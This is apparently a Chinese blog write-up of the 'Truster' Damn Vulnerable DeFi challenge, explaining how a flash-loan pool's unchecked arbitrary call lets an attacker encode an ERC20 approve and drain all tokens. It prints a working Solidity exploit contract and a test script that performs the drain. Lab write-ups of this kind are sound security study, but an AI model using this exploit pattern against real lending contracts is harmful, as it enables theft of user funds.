抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

1. issue

More and more lending pools are offering flash loans. In this case, a new pool has launched that is offering flash loans of DVT tokens for free.

The pool holds 1 million DVT tokens. You have nothing.

To pass this challenge, take all tokens out of the pool. If possible, in a single transaction.

目标:身无分文的你要将借贷池的钱全取出来。

题目链接

2. analysing

2.1 寻找balance是什么

通过使用ethers.provider.getBalance()查询 pool.address的balance可以看到为 0, 但是通过token.balanceOf()可以查看到 balance为 1000000 ether。所以,题目所要借光的是 ERC20 token,要想对token的值动手,只能调用 ERC20 下的 转账操作,比如transfer(), transferFrom()

2.2 TrusterLenderPool.sol

分析flashLoan函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
external
nonReentrant
returns (bool)
{
// 记录当前借贷池的 balance
uint256 balanceBefore = token.balanceOf(address(this));

// 他这里是从 token 中给 用户贷款,不涉及借贷池本身?
token.transfer(borrower, amount);
// 细读 `functionCall`
target.functionCall(data);

if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();

return true;

flashLoan写的很简单,需要注意的是,token.transfer(borrower, amount) 看到是token给borrower转账,这里要引起注意;target.functionCall(data);这行代码需要层层追踪才可以发现里面的新天地。

解读functionCall:

data进行追踪,发现是functionCallWithValue在被使用的

1
2
3
4
5
6
7
8
9
10
11
12
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");

(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}

(bool success, bytes memory returndata) = target.call{value: value}(data);中,有 data,这行代码其实是在调用函数,而函数就是被编译成为字节码的 data,所以 target就理所应当是包含 data函数的合约地址。

再进一步分析,我们的初衷是改变 balance,能改变balance的只有 转账操作,一种是 使用 transfer另一种中是transferFrom

如果使用transfer

1
2
3
4
5
6
7
8
9
10
11
12
13
function transfer(address to, uint256 amount) public virtual returns (bool) {
balanceOf[msg.sender] -= amount;

// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}

emit Transfer(msg.sender, to, amount);

return true;
}

要符合题意既要把pool的钱花光,还要给play.address地址转入一百万ether,使用 transfer能满足后者,但不能满足前一个条件

1
2
let attackToken1 = token.connect(deployer);
await attackToken1.transfer(player.address,TOKENS_IN_POOL);

所以只能使用 transferFrom

如果使用 transferFrom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals.

if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;

balanceOf[from] -= amount;

// Cannot overflow because the sum of all user
// balances can't exceed the max uint256 value.
unchecked {
balanceOf[to] += amount;
}

emit Transfer(from, to, amount);

return true;
}

只要我们能够将transferFrom函数成功调用,就可以解决问题了。from的值为pool.address, to的值为player.address。能执行操作 1000000ether 就 必须让 pool.address 给 play.address approve 1000000ether的操作权限。

所以,data的值就是 transferFrom 的字节码。

approve函数

1
2
3
4
5
6
7
function approve(address spender, uint256 amount) public virtual returns (bool) {
allowance[msg.sender][spender] = amount;

emit Approval(msg.sender, spender, amount);

return true;
}

call的使用原理可知msg.sender就是 pool的合约地址。

3. solving

3.1 TrusterHack.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./TrusterLenderPool.sol";
import "../DamnValuableToken.sol";

contract TrusterHack {
function attack(address _pool, address _recevier, address _token) external {
// 通过pool地址,给玩家地址授权
bytes memory func_abi = abi.encodeWithSignature("approve(address,uint256)", _recevier, 1000000 ether);

// 调用flashLoan
TrusterLenderPool(_pool).flashLoan(0, _recevier, _token, func_abi);
// DamnValuableToken(_token).transferFrom(_pool, _recevier, 1000000 ether);
}
}

注意:在合约中是不能调用transferFrom函数的,因为你不能将任意一个地址强转成ERC20类型,然后调用其中的方法(个人理解)

3.2 challenge.js

1
2
3
4
5
6
7
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const attacker = await (await ethers.getContractFactory('TrusterHack', player)).deploy();
let attackToken = token.connect(player);
await attacker.attack(pool.address, player.address, token.address);
await attackToken.transferFrom(pool.address, player.address,TOKENS_IN_POOL);
});

image-20230710171523608

解题成功~

还有另一种解题方式,通过etherjs 来解题的,原理都一样,实现的方法不同: 方法二

评论



政策 · 统计 | 本站使用 Volantis 主题设计